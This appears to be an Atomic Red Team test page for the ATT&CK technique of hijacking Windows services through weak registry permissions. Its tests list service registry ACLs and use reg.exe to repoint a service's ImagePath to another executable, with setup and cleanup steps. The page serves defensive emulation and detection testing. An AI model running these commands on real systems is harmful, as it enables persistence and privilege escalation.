# T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness

## Description from ATT&CK

> Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
> 
> If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
> 
> Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
> 
> The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
> 
> Adversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.
> 
> For example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:
> 
> <code>"AutodialDLL"="c:\temp\foo.dll"</code>
> 
> This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.

[Source](https://attack.mitre.org/techniques/T1574/011)

## Atomic Tests

- [Atomic Test #1: Service Registry Permissions Weakness](#atomic-test-1-service-registry-permissions-weakness)
- [Atomic Test #2: Service ImagePath Change with reg.exe](#atomic-test-2-service-imagepath-change-with-regexe)

### Atomic Test #1: Service Registry Permissions Weakness

Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe"

**Supported Platforms:** Windows

**auto_generated_guid:** `f7536d63-7fd4-466f-89da-7e48d550752a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| weak_service_name | weak service check | string | weakservicename|

#### Attack Commands: Run with `powershell`!

```powershell
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
```

### Atomic Test #2: Service ImagePath Change with reg.exe

Change Service registry ImagePath of a bengin service to a malicious file

**Supported Platforms:** Windows

**auto_generated_guid:** `f38e9eea-e1d7-4ba6-b[PII_REDACTED]63827`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| weak_service_name | weak service name | string | calcservice|
| weak_service_path | weak service path | string | %windir%&#92;system32&#92;win32calc.exe|
| malicious_service_path | malicious service path | string | %windir%&#92;system32&#92;cmd.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}"
```

#### Cleanup Commands

```cmd
sc.exe delete #{weak_service_name}
```

#### Dependencies: Run with `powershell`!

##### Description: The service must exist (#{weak_service_name})

###### Check Prereq Commands

```powershell
if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"
```